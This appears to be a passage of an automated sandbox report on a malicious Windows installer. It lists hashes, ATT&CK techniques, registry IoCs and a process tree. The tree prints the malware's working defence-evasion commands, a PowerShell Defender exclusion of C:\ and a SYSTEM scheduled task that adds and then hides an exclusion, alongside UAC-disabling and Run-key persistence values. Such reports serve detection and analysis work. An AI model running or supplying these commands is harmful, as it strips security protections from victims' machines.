edc9f715ad974b7589ef18e876f7df24c17822a33aabb7289e2baee541d95913

Analysis

max time kernel
134s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 16:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.02.exe
Size 34.6MB
Sample261022-t7ee2sdx5w
SHA256 edc9f715ad974b7589ef18e876f7df24c17822a33aabb7289e2baee541d95913
MD5 3c65a8103f4f70e0b70c5b8cad66c39a
SHA1 ec2c507133f48278bd90d72ea669cbccfa834547
SHA512 94da2e5634ee25dd5ff3dfa256f67942edf6f655c8db470ab19946e98cf533efc0e5525036db655a642e0c0bc0fe8d57372d990074b2984f35bdcf01f427d66e
SSDEEP 98304:n6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgA7:6ukQmH0HmKxofM3nl6UfMYrLgA7
TLSH
T1FC876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2mGBsP.exe

Windows security bypass 2 TTPs 16 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\2mGBsP = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\U92taw = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1576	powershell.exe
5576	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	2mGBsP.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
1344	icacls.exe
4468	icacls.exe
4820	icacls.exe
5312	icacls.exe
4752	icacls.exe
2960	takeown.exe
252	icacls.exe
5996	icacls.exe
5852	icacls.exe
4676	icacls.exe
2876	icacls.exe
6020	icacls.exe
804	icacls.exe
4256	takeown.exe
2884	icacls.exe
4196	icacls.exe
5688	icacls.exe
2824	icacls.exe
5496	icacls.exe
4508	icacls.exe
5296	icacls.exe
204	icacls.exe
5968	icacls.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2mGBsP.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 5 IoCs

pid	Process
5916	6JpBam.exe
6040	6JpBam.exe
5164	2mGBsP.exe
896	2mGBsP.exe
780	6BSlQc33f.exe

Loads dropped DLL 5 IoCs

pid	Process
5916	6JpBam.exe
6040	6JpBam.exe
5164	2mGBsP.exe
896	2mGBsP.exe
780	6BSlQc33f.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2824	icacls.exe
4676	icacls.exe
5296	icacls.exe
4256	takeown.exe
5996	icacls.exe
5496	icacls.exe
4820	icacls.exe
5312	icacls.exe
4196	icacls.exe
5852	icacls.exe
2876	icacls.exe
4752	icacls.exe
2960	takeown.exe
4508	icacls.exe
804	icacls.exe
2884	icacls.exe
252	icacls.exe
4468	icacls.exe
6020	icacls.exe
204	icacls.exe
5968	icacls.exe
1344	icacls.exe
5688	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\U92taw\\6JpBam.exe\""	6JpBam.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\2mGBsP\\2mGBsP.exe\""	2mGBsP.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
6132	cmd.exe
4640	cmd.exe
4652	cmd.exe
4856	cmd.exe
2020	cmd.exe
4788	cmd.exe
2420	cmd.exe
4512	cmd.exe
272	cmd.exe
3236	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	6JpBam.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\f5cVS\image.png	2mGBsP.exe
File opened for modification	C:\Program Files (x86)\2mGBsP	6JpBam.exe
File opened for modification	C:\Program Files (x86)\2mGBsP\thumbs.db	6JpBam.exe
File opened for modification	C:\Program Files (x86)\f5cVS\image.png	2mGBsP.exe
File opened for modification	C:\Program Files (x86)\f5cVS\thumbs.db	2mGBsP.exe
File opened for modification	C:\Program Files (x86)\f5cVS\XPSPLOG.dll	2mGBsP.exe
File created	C:\Program Files (x86)\2mGBsP\2mGBsP.exe	6JpBam.exe
File created	C:\Program Files (x86)\2mGBsP\thumbs.db	6JpBam.exe
File opened for modification	C:\Program Files (x86)\2mGBsP\image.png	6JpBam.exe
File opened for modification	C:\Program Files (x86)\f5cVS	2mGBsP.exe
File opened for modification	C:\Program Files (x86)\f5cVS\6BSlQc33f.exe	2mGBsP.exe
File created	C:\Program Files (x86)\2mGBsP\XPSPLOG.dll	6JpBam.exe
File created	C:\Program Files (x86)\2mGBsP\image.png	6JpBam.exe
File opened for modification	C:\Program Files (x86)\2mGBsP\XPSPLOG.dll	6JpBam.exe
File created	C:\Program Files (x86)\f5cVS\thumbs.db	2mGBsP.exe
File created	C:\Program Files (x86)\f5cVS\XPSPLOG.dll	2mGBsP.exe
File opened for modification	C:\Program Files (x86)\2mGBsP\2mGBsP.exe	6JpBam.exe
File created	C:\Program Files (x86)\f5cVS\6BSlQc33f.exe	2mGBsP.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	2mGBsP.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5032	sc.exe
4068	sc.exe
1668	sc.exe
3728	sc.exe
4956	sc.exe
1152	sc.exe
5404	sc.exe
5536	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaveActive = "0"	2mGBsP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	2mGBsP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\SCRNSAVE.EXE	2mGBsP.exe

Executes a command shell one-liner 1 TTPs 29 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1552	cmd.exe
748	cmd.exe
2660	cmd.exe
912	cmd.exe
4272	cmd.exe
5320	cmd.exe
612	cmd.exe
3088	cmd.exe
4476	cmd.exe
1900	cmd.exe
4356	cmd.exe
5992	cmd.exe
4668	cmd.exe
3892	cmd.exe
3916	cmd.exe
1052	cmd.exe
6004	cmd.exe
5904	cmd.exe
1052	cmd.exe
3452	cmd.exe
552	cmd.exe
2164	cmd.exe
4480	cmd.exe
4364	cmd.exe
5848	cmd.exe
4904	cmd.exe
2844	cmd.exe
1264	cmd.exe
1984	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	6JpBam.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	6JpBam.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2mGBsP.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2mGBsP.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2mGBsP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2mGBsP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2mGBsP.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2mGBsP.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaveActive = "0"	2mGBsP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	2mGBsP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	2mGBsP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\SCRNSAVE.EXE	2mGBsP.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3968	schtasks.exe
2492	schtasks.exe
6044	schtasks.exe
3024	schtasks.exe
4416	schtasks.exe
4376	schtasks.exe
2156	schtasks.exe
4136	schtasks.exe
4900	schtasks.exe
6140	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
3884	install.2.0.02.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe
5916	6JpBam.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe
Token: 34	1576	powershell.exe
Token: 35	1576	powershell.exe
Token: 36	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	2960	takeown.exe
Token: SeRestorePrivilege	5296	icacls.exe
Token: SeTakeOwnershipPrivilege	4256	takeown.exe
Token: SeRestorePrivilege	5968	icacls.exe
Token: SeDebugPrivilege	5576	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5916 wrote to memory of 1576	5916	6JpBam.exe	92
PID 5916 wrote to memory of 3236	5916	6JpBam.exe	94
PID 3236 wrote to memory of 3968	3236	cmd.exe	96
PID 3236 wrote to memory of 4696	3236	cmd.exe	97
PID 3236 wrote to memory of 5688	3236	cmd.exe	99
PID 5848 wrote to memory of 2272	5848	cmd.exe	101
PID 5916 wrote to memory of 4788	5916	6JpBam.exe	104
PID 4788 wrote to memory of 4416	4788	cmd.exe	108
PID 4788 wrote to memory of 1144	4788	cmd.exe	109
PID 4788 wrote to memory of 1200	4788	cmd.exe	111
PID 5916 wrote to memory of 2420	5916	6JpBam.exe	112
PID 2420 wrote to memory of 4376	2420	cmd.exe	114
PID 4272 wrote to memory of 2104	4272	cmd.exe	116
PID 5916 wrote to memory of 6132	5916	6JpBam.exe	117
PID 6132 wrote to memory of 2492	6132	cmd.exe	119
PID 2420 wrote to memory of 3552	2420	cmd.exe	120
PID 6132 wrote to memory of 1676	6132	cmd.exe	122
PID 2420 wrote to memory of 3728	2420	cmd.exe	123
PID 6132 wrote to memory of 4800	6132	cmd.exe	124
PID 5916 wrote to memory of 4640	5916	6JpBam.exe	126
PID 4640 wrote to memory of 2156	4640	cmd.exe	128
PID 4640 wrote to memory of 5384	4640	cmd.exe	129
PID 4640 wrote to memory of 4936	4640	cmd.exe	131
PID 4476 wrote to memory of 3832	4476	cmd.exe	132
PID 3452 wrote to memory of 5112	3452	cmd.exe	134
PID 5916 wrote to memory of 5164	5916	6JpBam.exe	136
PID 5164 wrote to memory of 1552	5164	2mGBsP.exe	139
PID 5164 wrote to memory of 748	5164	2mGBsP.exe	142
PID 5164 wrote to memory of 552	5164	2mGBsP.exe	144
PID 5164 wrote to memory of 5320	5164	2mGBsP.exe	146
PID 5164 wrote to memory of 1900	5164	2mGBsP.exe	148
PID 748 wrote to memory of 5496	748	cmd.exe	150
PID 5164 wrote to memory of 1052	5164	2mGBsP.exe	256
PID 5164 wrote to memory of 612	5164	2mGBsP.exe	153
PID 5164 wrote to memory of 4512	5164	2mGBsP.exe	154
PID 612 wrote to memory of 5776	612	cmd.exe	158
PID 5776 wrote to memory of 5356	5776	net.exe	159
PID 5164 wrote to memory of 4668	5164	2mGBsP.exe	157
PID 4512 wrote to memory of 6044	4512	cmd.exe	161
PID 612 wrote to memory of 3728	612	cmd.exe	162
PID 4668 wrote to memory of 2824	4668	cmd.exe	163
PID 4512 wrote to memory of 4880	4512	cmd.exe	164
PID 612 wrote to memory of 4956	612	cmd.exe	165
PID 5164 wrote to memory of 5904	5164	2mGBsP.exe	167
PID 612 wrote to memory of 4520	612	cmd.exe	169
PID 5904 wrote to memory of 2884	5904	cmd.exe	170
PID 4512 wrote to memory of 956	4512	cmd.exe	171
PID 4520 wrote to memory of 4964	4520	net.exe	172
PID 612 wrote to memory of 1668	612	cmd.exe	173
PID 5164 wrote to memory of 3892	5164	2mGBsP.exe	174
PID 3892 wrote to memory of 4820	3892	cmd.exe	176
PID 612 wrote to memory of 4068	612	cmd.exe	177
PID 612 wrote to memory of 2096	612	cmd.exe	178
PID 5164 wrote to memory of 6004	5164	2mGBsP.exe	179
PID 2096 wrote to memory of 1340	2096	net.exe	180
PID 6004 wrote to memory of 4676	6004	cmd.exe	182
PID 612 wrote to memory of 5032	612	cmd.exe	183
PID 5164 wrote to memory of 2164	5164	2mGBsP.exe	184
PID 2164 wrote to memory of 5312	2164	cmd.exe	186
PID 612 wrote to memory of 5536	612	cmd.exe	187
PID 612 wrote to memory of 4380	612	cmd.exe	188
PID 4380 wrote to memory of 3304	4380	net.exe	189
PID 5164 wrote to memory of 3088	5164	2mGBsP.exe	190
PID 612 wrote to memory of 1152	612	cmd.exe	192

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2mGBsP.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3884

C:\Users\Public\U92taw\6JpBam.exe
"C:\Users\Public\U92taw\6JpBam.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\U92taw\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\U92taw\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5688
- C:\Windows\System32\cmd.exe
